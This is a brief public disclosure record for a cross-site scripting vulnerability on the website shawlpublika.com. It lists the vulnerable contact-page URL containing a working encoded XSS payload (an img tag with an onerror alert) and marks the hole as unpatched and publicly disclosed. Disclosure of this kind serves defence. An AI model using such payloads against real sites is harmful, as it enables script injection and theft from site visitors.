shawlpublika.com XSS vulnerability

Vulnerable URL: http://www.shawlpublika.com/contactus.php/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22XSSPOSED%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1229659 VIP...